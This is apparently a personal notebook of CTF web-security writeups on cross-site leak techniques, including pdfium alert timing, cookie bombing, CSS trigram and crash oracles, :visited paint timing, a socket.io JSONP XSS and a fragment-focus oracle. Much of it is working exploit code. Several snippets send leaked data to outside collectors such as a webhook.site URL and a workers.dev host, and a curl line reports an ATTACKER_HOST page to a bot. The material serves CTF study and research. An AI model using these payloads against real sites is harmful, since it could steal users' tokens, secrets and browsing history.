    Because the challenge checks sec-fetch-mode=navigate you can’t use script tags or anything else except frames and window.open().

    Cookies are None so iframe navigations contain cookies. A simple solution would be using meta tags but they this doesn’t work because the message contains quote and double-quotes. Using text/html and xml like content types is pretty much hopeless… the intended solution uses application/pdf.

    pdfs in chrome are parsed and rendered by pdfium which is kinda like an internal extension by google.

    Pdfium can handle javascript codes inside PDFs ( Dedicated js parser and renderer ) which allows you to do some scripting despite the csp. But pdfium doesn’t allow using fetch() or something like that ( It has whole different methods ).

    The solution requires you to check how you can abuse js APIs to exfil a true false value to parent frame. The goal is developing a pdf files which lets the parent frame knows that 1==1 or 1==2.

    For example if we consider this code: <iframe src="http://web/?content_type=application/pdf&letter=PDFSTART if($gift$[0]==1){app.alert()} PDFEND" onblur="alert(first char of gift is 1)"></iframe>, the onblur event of parent frame is triggered which lets you know that the first element of gift is 1. But using onblur doesn’t work because it doesn’t work on headless chrome and it probably only works once.

    The intended solution abuses the fact that using app.alert() closes the previously opened alert()… opening alert() stops the js renderer until the tab receives an OK from user OR the alert is closed by another alert. here is what happens in the solution - parent loads the frame - parent calls alert() - alert() is closed by child pdf - calculate how long it took the alert to be closed ( if longer than 500ms, go to next char if not go to step 0 ) you can implement timeout stuff with app.setTimeOut

    XSLEAK using redirect long url, safestlist unitended solution dicectf 2024

    unintended safelist solution 1. the server redirects to a longer url if note length > 16384 2. abuse url length limit somehow, if it redirects to /?message=Cannot add, please delete some notes first, the redirection fail cause url too long(i guess) 3. get the loction.href of the opened window, err means redirect success, about:blank means failed

    <!DOCTYPE html><html><body>  <form id=f  method="POST" target="winForm">    <input id=inp name="text" value="">  </form>  <form id=f_delete action="http://localhost:3000/remove" method="POST" target="_blank">    <input name="index" value="0">  </form>  <form id=f_create action="http://localhost:3000/create" method="POST" target="_blank">    <input id=inp2 name="text" value="">  </form>  <script>    const sleep = ms => new Promise(r => setTimeout(r, ms))
        fetch('/hang')
        win = window.open('about:blank', 'winForm')
        f.action = 'http://'+ 'a'.repeat(2097050)  + ':def@localhost:3000' + '/create'    let count = 0    setInterval(() => {
          fetch('/ping_' + count)
          count++    }, 100)
        // abcdefghijklmnopqrstuvwxyz    async function main() {
          // step1. create note      let testPayload = 'dice{xs'      fetch('/step_1_start')
          inp2.value = testPayload + 'z'.repeat(10000)
          f_create.submit()
          await sleep(500)
          fetch('/step_1_end')
          // step2. delete first note      fetch('/step_2_start')
          f_delete.submit()
          await sleep(500)
          fetch('/step_2_end')
          // step3. leak      fetch('/step_3_start')
          inp.value = 'a'.repeat(10000)
          f.submit()
          fetch('/step_3_end')
          let count = 0      setInterval(() => {
            fetch('/timeout'+count)
            count++        try {
              let r = win.location.href          fetch('/?r=' + r)
            } catch(err) {
              fetch('/err')
            }
            // err: payload is before flag        // dice{azzz        // dice{flag}        // about:blank, payload is after flag        // dice{flag}        // dice{fzzzz}      }, 200)
        }
        main()
      </script></body></html>

    then we can binary search the flag, it takes ~6 tries (3min) to leak a char lol

    xsleak using browser crash chrome

    dicectf 2024

    https://issues.chromium.org/issues/41490764

    import httpx
    import time
    # BASE_URL = "http://localhost:3000"BASE_URL = "https://another-csp-88ce1272540e9561.mc.ax"css = """<style>  [data-token ^= "{{PREFIX}}"]::before {    --0: attr(data-token);    --1: var(--0)var(--0);    --2: var(--1)var(--1);    --3: var(--2)var(--2);    --4: var(--3)var(--3);    --5: var(--4)var(--4);    --6: var(--5)var(--5);    --7: var(--6)var(--6);    --8: var(--7)var(--7);    --9: var(--8)var(--8);    --a: var(--9)var(--9);    --b: var(--a)var(--a);    --c: var(--b)var(--b);    --d: var(--c)var(--c);    --e: var(--d)var(--d);    --f: var(--e)var(--e);    --g: var(--f)var(--f);    content: var(--g);    font-size: 100em;    filter: blur(10000px) drop-shadow(1024px 1024px 1024px blue);  }</style>"""def is_hit(prefix: str) -> int:
        for _ in range(10):
            res = httpx.get(
                f"{BASE_URL}/bot",
                params={
                    "code": css.replace("{{PREFIX}}", prefix),
                },
            )
            assert res.status_code == 200, res
            if "visiting" in res.text:
                break        time.sleep(1)
        else:
            print("Failed")
            exit(1)
        time.sleep(2)
        res = httpx.get(
            f"{BASE_URL}/bot",
            params={
                "code": "x",
            },
        )
        assert res.status_code == 200, res
        ok = "already open!" in res.text
        return ok
    chars = "0123456789abcdef"known = ""for i in range(6):
        for c in chars:
            if is_hit(known + c):
                known += c
                break    print(known)
        assert len(known) == i + 1print(f"token: {known}")
    res = httpx.get(
        f"{BASE_URL}/flag",
        params={
            "token": known,
        },
    )
    print(res.text)

    There’s unitended solution for quickstyle using bfcache in lactf2024

    … just window.open the page, set location to about:blank then history.back afterwards

    https://blog.arkark.dev/2022/11/18/seccon-en/#Step-1-Understanding-cache-behavior-in-Google-Chrome

    Trigrams cssleak technique

    some payload to generate css leak trigrams lehctf quickstyle

    {const alpha = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    const alphaL = '0123456789abcdefghijklmnopqrstuvwxyz'
    let html = '<form name=querySelectorAll><style>input{'
     let background = 'background:'/*
     for (const a of alpha)
     for (const b of alpha){
       background += `var(--t${a+b}),`
       html += `--t${a+b}:none;`
     }*/
    const N = 10000
    for (let i = 0; i < N; i++) {
       background += `var(--${i},none),`
    //   html += `--${i}:none;`
     }
     html += background.slice(0,-1) +'}'
     const check = s => /\d/.test(s) ? `'${s}'` : s
    let i = 0
      let combos = new Set()
    for (const a of alpha) {
      for (const b of alpha){
      html+=`[value*=${check(a+b)}]{--${(i++)%N}:url(//lc.ussa-say.workers.dev/${a+b})}`
         for (const c of alpha){
          combos.add(`${a}${b}${c}`.toLowerCase())
        }
        }
    }
    combos=[...combos]
     for (let i = combos.length; i--;) {
       const index  = Math.floor(Math.random() * (i + 1))
    ;[combos[i ], combos[index]]=[combos[index ], combos[i]]
     }
     for (const combo of combos) {
    html+=`[value*=${check(combo)} i]{--${(i++)%N}:url(//lc.ussa-say.workers.dev/${combo})}`
     }
    html += '</style><iframe src="//subsection-diana-commissioners-excited.trycloudflare.com/load"></iframe>'
     console.log(6e6/ html.length, 'kept')
    await Deno.writeTextFile('heyy.html', html.slice(0, 6e6))}

    XS-Leak by cookie bombing with a de Bruijn sequence https://gist.github.com/arkark/5787676037003362131f30ca7c753627

    Out of curiosity, is there a benefit to using de Bruijn sequences over just random data?

    Oh I think I see the idea. In order to perform the cookie bombing attack, you want to maximize the compressed size. If you use random data, this actually may not be the most effective as there may be more repeated things you can try and put in your dictionary. With a De Brujin sequence, since this goes for unique subsequences (I think the common example is its used in pwn for sequence search), you actually are able to increase the size of your compressed output a lot more because of the guaratee that your sequence has a lot of uniqueness rather than potential repetition.

    XSLeak with Complicated CSS effects and :visited selector leak browser history through paint timing

  • modified version of https://issues.chromium.org/issues/40091173
  • this has been a wontfix for more than like a decade
  • 2024-05-25T10:35:00.000+08:002024-05-25T10:35:00.000+08:002024-05-25T10:35:00.000+08:00

      https://ndev.tk/visted/

  • 2024-05-25T10:35:00.000+08:002024-05-25T10:35:00.000+08:002024-05-25T10:35:00.000+08:00

      fun site

  • <!doctype html>
    <html lang="en">
    <head>
        <meta charset="utf-8"/>
        <style type="text/css">
            #target {
                color: white;
                background-color: white;
                outline-color: white;
            }
            #target:visited {
                color: #feffff;
                background-color: #fffeff;
                outline-color: #fffffe;
            }
        </style>
    </head>
    <body>
        <script type="text/javascript">
            var basisUrl; // Known-unvisibed URL used during both test stages.
            var controlUrl; // Another known-unvisited URL for the "control" stage.
            var experimentUrl; // The URL of unknown visited status.
            
            var targetLink;
            var controlTickCount;
    
            const alphabet = "!!!!" + "abcdefghijklmnopqrstuvwxyz0123456789_{}ABCDEFGHIJKLMNOPQRSTUVWXYZ";
            const known = location.hash.slice(1) || "actf{";
    
            // Utility function to randomly generate a known-unvisited URL.
            function generateUnvisitedUrl () {
                return 'https://' + Math.random() + '/' + Date.now();
            }
            
            const sleep = ms => new Promise(r => setTimeout(r, ms));
    
            window.onload = async () => {
                // Collect URLs.
                basisUrl = generateUnvisitedUrl();
                controlUrl = generateUnvisitedUrl();
                
                document.body.style.overflow = 'hidden';
                
                // Create the target link element and point it to the basis URL.
                targetLink = document.createElement('a');
                targetLink.id = 'target';
                targetLink.href = basisUrl;
                
                // Fill the target link element with a bunch of "Chinese lorem ipsum"
                // text to put some load on the browser's text renderer.
                var garbageText = '業雲多受片主。好些天事開後起主在小工過商友全行,打回化高全水點強的基聯形要北壓好接畫。動我可存吸正分日通想……家覺生傳利最製面傳師命實們候企南是,多或進學落究,拿活直能你長的們是我和除四遠大因自過學於更,夠根親論運不我音死這中,生球經時於作,態了北業調經害難制明人人一經口子門眼,還年母語灣畫給的我坐多球:了這制響第不英才產聯是灣巴;為防平早,一廣女濟大運,的者黑來人北計記名書主之經決地皮天是有半!生請子記實的業外,出發向求:收息無:當法放老想?發景!'.repeat(28);
                targetLink.appendChild(document.createTextNode(garbageText));
                
                // Set up some complicated CSS effects on the target link element.
                targetLink.style.display = 'block';
                targetLink.style.width = '5px';
                targetLink.style.fontSize = '2px';
                targetLink.style.outlineWidth = '24px';
                targetLink.style.textAlign = 'center';
                targetLink.style.filter =
                    'contrast(200%) drop-shadow(16px 16px 10px #fefefe) saturate(200%)';
                targetLink.style.textShadow = '16px 16px 10px #fefffe';
                targetLink.style.transform = 'perspective(100px) rotateY(37deg)';
                
                document.body.appendChild(targetLink);
                
                wins = [];
                for (const c of alphabet) {
                    wins.push(window.open("https://wwwwwwwwaas.web.actf.co/search?q=" + known + c));
                }
    
                await sleep(6_000);
                for (const w of wins) { w.close(); }
                await sleep(2_000);
    
                // Allow the DOM to "settle down" a bit after those changes before we 
                // start our test runs.
                const data = [];
                for (const c of alphabet) {
                    const run = [known + c, await oracle("https://wwwwwwwwaas.web.actf.co/search?q=" + known + c)];
                    console.log(run);
                    data.push(run);
                }
                const maybe = data.slice(4).sort((a,b)=>a[1]-b[1])[0];
                navigator.sendBeacon("https://webhook.site/06a686f7-2414-465c-8818-59c18ae40566/log", JSON.stringify({maybe, data}));
            };
            
            async function oracle(url) {
                startCountingTicks();
                startOscillatingHref(url);
                await sleep(200);
                stopOscillatingHref();
                return stopCountingTicks();
            } 
                
            // Concurrently oscillate the target link's href between the known-unvisited
            // basis URL and a given test URL, which could be either of the control or
            // experiment URLs.
            var oscillateInterval;
            var isPointingToBasisUrl = true;
            function startOscillatingHref (testUrl) {
                oscillateInterval = setInterval(function () {
                    targetLink.href = isPointingToBasisUrl ? testUrl : basisUrl;
                    isPointingToBasisUrl = !isPointingToBasisUrl;
                }, 0);
            }
            function stopOscillatingHref () {
                clearInterval(oscillateInterval);
                targetLink.href = basisUrl;
                isPointingToBasisUrl = true;
            }
    
            // Concurrently count the number of times we complete a
            // requestAnimationFrame callback, measuring paint performance over the test
            // period.
            var tickCount = 0;
            var tickRequestId;
            function startCountingTicks () {
                tickRequestId = requestAnimationFrame(function () {
                    ++tickCount;
                    startCountingTicks();
                });
            }
            function stopCountingTicks () {
                cancelAnimationFrame(tickRequestId);
                var oldTickCount = tickCount;
                tickCount = 0;
                return oldTickCount;
            }
        </script>
    </body>
    </html>
    

    https://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html

    https://ctftime.org/writeup/37953

    Another crazy xsleak using style (Bigram technique)

    Another Another CSP | justCTF 2024 | writeup (github.com)

    CTFtime.org / justCTF 2024 teaser / Another Another CSP / Writeup

    XSLeak using zlib oracle and flask max redirect length

    Navigations | XS-Leaks Wiki (xsleaks.dev)

    ImaginaryCTF-2024-Challenges-Public/Web/heapnotes at main · ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public (github.com)

    XSLEAK To XSS using Performance API

    socket.io (or engine.io more specifically) supports jsonp with a very bad escaping, then you just iframe src and use performance api on the other tab to find the flag url

    you can spoof a disconnect by sending a "disconnect" event directly Rather than using .disconnect()

    TTP-03-report.pdf (torproject.org)

    import socketio
    import requests
    import time
    import json
    
    base_url = '<https://corchat-x-a6e1f8c45d3ca520.be.ax>'
    
    def create_sid():
        session = requests.Session()
        login = session.post(f'{base_url}/', data = {}, allow_redirects=False)
        assert login.status_code == 302, login.status_code
    
        res = session.get(f'{base_url}/socket.io/', params = {
            'EIO': 4,
            'transport': 'polling',
            't': 'bingus',
        })
        assert res.status_code == 200, res.status_code
    
        socket_session = json.loads(res.text[1:])
        print('fake session', socket_session)
    
        res = session.post(f'{base_url}/socket.io/', params = {
            'EIO': 4,
            'transport': 'polling',
            't': 'P3qHGUZ',
            'sid': socket_session['sid'],
        }, data = b'40')
        assert res.status_code == 200, res.status_code
    
        return socket_session['sid']
    
    bot_session = requests.Session()
    login = bot_session.post(f'{base_url}/', data = {
        'name': 'FizzBuzz101',
    }, allow_redirects=False)
    assert login.status_code == 302, login.status_code
    
    sio = socketio.Client(http_session=bot_session)
    ready = False
    
    @sio.event
    def connect():
        global ready
    
        print('connected!')
    
        # fake disconnect event so that the bot can connect as well
        sio.emit('disconnect')
        time.sleep(1)
        ready = True
        print('ready for bot!')
    
    @sio.event
    def message(data):
        global ready
    
        if not ready:
            return
    
        print('message', data)
        if data['content'] == 'FizzBuzz101 joined.': # XSS bot opened the chat
            first_sid = create_sid()
            js_payload = """
    (window.exfil = data => window.top.opener.top.socket.emit('message', data))
    (window.observer = new parent.PerformanceObserver((list) => { list.getEntries().forEach((entry) => { window.exfil('Flag: ' + decodeURIComponent(entry.name.split('/').pop())); }); }))
    (window.observer.observe({ type: 'resource', buffered: true }))
    """.strip().replace('\\n', ',')
            sio.emit('message', '\\\\"+'+js_payload+');//')
    
            second_sid = create_sid()
            jsonp_url = f'{base_url}/socket.io/?EIO=4&transport=polling&t=bingus&sid={second_sid}&j=0'
            js_payload = """
    (window.secret=window.open('','secret'))
    (window.a=window.top.document.getElementById('xss').cloneNode())
    (window.a.srcdoc=window.a.srcdoc.replace('%s','%s'))
    (window.secret.document.body.appendChild(window.a))
    """.strip().replace('\\n', ',') % (second_sid, first_sid)
    
            sio.emit('message', '\\\\"+'+js_payload+');//')
    
            xss_payload = """
    <a id=&quot;___eio&quot;></a>
    <a id=&quot;___eio&quot;></a>
    <script src=&quot;%s&quot;></script>
    """ % jsonp_url
            chat_message = '<iframe id="xss" srcdoc="%s"></iframe>' % xss_payload.strip()
            assert len(chat_message) < 400, 'chat message too long, time to write better payload'
            sio.emit('message', chat_message)
    
    sio.connect(base_url)
    sio.wait()```

    performance API allows you to basically measure how long e.g. images loaded

    I'd consider performance API to be obscure my original solution was something funnier I just created a new iframe with a different CSP and then added a CSP violation listener and then copied the shadow element to that iframe

    a ref to what? I just copied the outer element

    Leaking Nodes with CSS / leaking text inside a node

    Hack.lu CTF 2024

    https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/

    Interesting XSleaks

    XS-Leaks through Speculation-Rules - SECCON CTF 13 Author's Writeup ( Tanuki Udon ) - Satoooonの物置

    Ligature scroolbar attack

    https://github.com/cgvwzq/css-scrollbar-attack/tree/master

    Leaking using Iframe loading lazy

    https://discord.com/channels/1088345765920915466/1322373208980062229/1322606933412286565

    Chromowana Tęcza 🌈 | hxp 38C3 CTF

    URL = """/?awesome=</div><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><a/id=lol>hd</a><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe><iframe/src="x"/loading=lazy></iframe>#lol:~:text=hd"""
    
    from pwn import *
    import time
    
    
    conn = remote("188.245.178.116", 8801)
    
    conn.send(f"""POST {URL} HTTP/1.1\r\nHost: x""".encode())
    
    now = time.time()
    
    conn.send(b"\r\n\r\n\r\n\r\n")
    
    # conn.interactive()
    conn.recvuntil(b"n__i__c__e")
    
    print(time.time() - now)
    

    ASISCTF XSLEAK

  • Goal:
    • To steal an admin token: req.cookies.TOKEN
  • Rules:
    • A given HTML is rendered.
    • {{TOKEN}} in the HTML is once replaced with the token.
    • The token's format is 6-bytes hex string ([0-9a-f]{12}).
  • Limitations:
    • For the html parameter:
      • Length limit: 1024
      • Allowed characters: [\x20-\x7e\r\n]
      • Disallowed substring (case-insensitive):
        • metalinksrcdatahrefsvg:%&\//
    • CSP: default-src 'none'; base-uri 'none'; frame-ancestors 'none'
  • solution

    ASIS CTF Finals 2024: Author Writeups | XS-Spin Blog

    fire-leak - ASIS CTF Finals 2024 | Salvatore Abello's Blog

    using frame counting?

    I measured how long it takes for the window.length value to change. As a result, I found that it is possible to reliably observe differences in the time required to evaluate a regular expression.

    and redos as oracle?

    <input
      type="text"
      pattern=".*(.?){12}[abcd]beaf"
      value="xxxxx...snip...xxxxx{{TOKEN}}"
    >
    <iframe></iframe>

    XSLEAK Using Cookie length limit

    asis ctf finals 2024 leakbin

    I didn't have enough time to solve it but my idea was:

  • For every character, create a paste with a lot of As in the title, and the part of the flag you're bruteforcing goes in the content.
  • Now try to search "ASIS{" + to_brute. If the search is right then you should find two pastes: One with the flag and the other with a lot of As. Their title and their id now goes in the session cookie, but you would be logged out since the cookies have a length limit. Then if you try to go to /home, you should be redirected to /login, and you can use this as an oracle
  • oh yeah forgot to post writeup for this but this is basically the solution

    if you open a window to /home with 19/20 redirects (forgot the exact number), if the user is logged out, there will be an extra redirect, causing a chromium error page to open.

    if you are logged in, /home will open normally. /home has a COOP header, so w.closed = true, but the chromium error page does not, so w.closed = false, and you can use that as the oracle

    Trigrams CSS leak

    https://waituck.sg/2023/12/11/0ctf-2023-newdiary-writeup.html

    New type of xsleak

    x3ctf 2025

    https://jorianwoltjer.com/blog/p/ctf/x3ctf-blogdog-new-css-injection-xs-leak using iframe and css error

    XS-Leak via Cross-Origin Fragment Focus

    Event NameRITSEC CTF 2026
    Source URLhttps://average-contrived-notes-app.shrimple.de
    Challenge Nameaverage contrived notes app
    Attachments
    References

  • Root cause: the search view creates a focusable <a id="note-0" href="/?search=..."> only when there is at least one matching note. On a miss, the page renders only #note-none, so #note-0 does not exist.
  • Final exploit chain: report an attacker URL to the bot, let the bot save FLAG into its own session notes, then iframe /?search=<guess>#note-0 cross-origin. If the guessed prefix matches the secret note, fragment navigation focuses the anchor inside the iframe and the attacker page receives window.blur as a yes or no oracle.
  • Recovered flag: RS{wh00ps_m4yb3_th4t_sh0uldn7_h4v3_b33n_4_l1nk}
  • Caveats: keep the attacker window focused before each probe and give the iframe about 1.5 seconds to either steal focus or time out. The brute-force charset must include }.
  • why it is vulnerable
    // bot.js
    await setup.goto(SITE, { waitUntil: 'networkidle0', timeout: TIMEOUT });
    await setup.type('#note-input', FLAG);   // admin stores the flag in its own session
    await setup.click('.btn-primary');
    await setup.waitForNetworkIdle({ timeout: TIMEOUT });
    
    // index.js
    app.get('/api/notes', (req, res) => {
    	const filteredNotes = req.query.search
    		? req.session.notes.filter((note) => note.includes(req.query.search)).sort()
    		: req.session.notes;
    	res.send(filteredNotes.join('[SEP]'));
    });
    
    // templates/index.html
    for (const [i, n] of (getQuery() ? new_notes_split.filter((n) => n.includes(getQuery())).sort() : new_notes_split).entries()) {
    	const card = document.createElement('a');
    	card.id = `note-${i}`;             // focusable element exists only on a hit
    	card.href = `/?search=${n}`;       // anchors are focusable targets
    	card.textContent = n;
    	notes.appendChild(card);
    }
    
    if (!new_notes_split.length || new_notes.length == 0) {
    	const empty = document.createElement('a');
    	empty.id = 'note-none';            // there is no #note-0 target on a miss
    	empty.textContent = 'no notes yet';
    	notes.appendChild(empty);
    }
    exploit payload
    <!doctype html>
    <body>running
    <script>
    const base = 'https://average-contrived-notes-app.shrimple.de';
    const charset = '_abcdefghijklmnopqrstuvwxyz0123456789}';
    
    function oracle(prefix) {
      return new Promise((resolve) => {
        let done = false;
        const fr = document.createElement('iframe');
        fr.style.position = 'fixed';
        fr.style.left = '-9999px';
    
        const finish = (hit) => {
          if (done) return;
          done = true;
          window.removeEventListener('blur', onBlur);
          fr.remove();
          resolve(hit);
        };
    
        const onBlur = () => finish(true);
    
        window.addEventListener('blur', onBlur, { once: true });
        window.focus();
        fr.src = `${base}/?search=${encodeURIComponent(prefix)}#note-0`;
        document.body.appendChild(fr);
    
        setTimeout(() => finish(false), 1500);
      });
    }
    
    (async () => {
      let flag = 'RS{';
      while (!flag.endsWith('}')) {
        let advanced = false;
        for (const c of charset) {
          if (await oracle(flag + c)) {
            flag += c;
            navigator.sendBeacon('/log?flag=' + encodeURIComponent(flag));
            advanced = true;
            break;
          }
        }
        if (!advanced) throw new Error('oracle stalled at ' + flag);
      }
    })();
    </script>
    solver
    from http.server import BaseHTTPRequestHandler, HTTPServer
    from urllib.parse import parse_qs, urlparse
    
    HTML = r'''<!doctype html>
    <meta charset="utf-8">
    <title>avg-notes oracle</title>
    <body>running
    <script>
    const base = 'https://average-contrived-notes-app.shrimple.de';
    const charset = '_abcdefghijklmnopqrstuvwxyz0123456789}';
    
    function log(msg) {
      navigator.sendBeacon('/log?m=' + encodeURIComponent(msg));
    }
    
    function oracle(prefix) {
      return new Promise((resolve) => {
        let done = false;
        const fr = document.createElement('iframe');
        fr.style.position = 'fixed';
        fr.style.left = '-9999px';
    
        const finish = (hit) => {
          if (done) return;
          done = true;
          window.removeEventListener('blur', onBlur);
          fr.remove();
          resolve(hit);
        };
    
        const onBlur = () => finish(true);
    
        window.addEventListener('blur', onBlur, { once: true });
        window.focus();
        fr.src = `${base}/?search=${encodeURIComponent(prefix)}#note-0`;
        document.body.appendChild(fr);
        setTimeout(() => finish(false), 1500);
      });
    }
    
    (async () => {
      let flag = 'RS{';
      log('START ' + flag);
    
      while (!flag.endsWith('}')) {
        let hit = false;
        for (const c of charset) {
          if (await oracle(flag + c)) {
            flag += c;
            hit = true;
            log('HIT ' + flag);
            break;
          }
        }
        if (!hit) {
          log('FAIL ' + flag);
          break;
        }
      }
    
      log('DONE ' + flag);
    })();
    </script>
    '''
    
    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            p = urlparse(self.path)
            if p.path == '/':
                self.send_response(200)
                self.send_header('Content-Type', 'text/html; charset=utf-8')
                self.end_headers()
                self.wfile.write(HTML.encode())
                return
            if p.path == '/log':
                print(parse_qs(p.query).get('m', [''])[0], flush=True)
                self.send_response(204)
                self.end_headers()
                return
            self.send_response(404)
            self.end_headers()
    
    HTTPServer(('0.0.0.0', 8000), Handler).serve_forever()

    Run it, expose port 8000 publicly, then report it:

    curl -s https://average-contrived-notes-app.shrimple.de/api/bot \
      -H 'Content-Type: application/json' \
      --data '{"url":"https://ATTACKER_HOST/"}'

    Share this note

    Share:

    Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.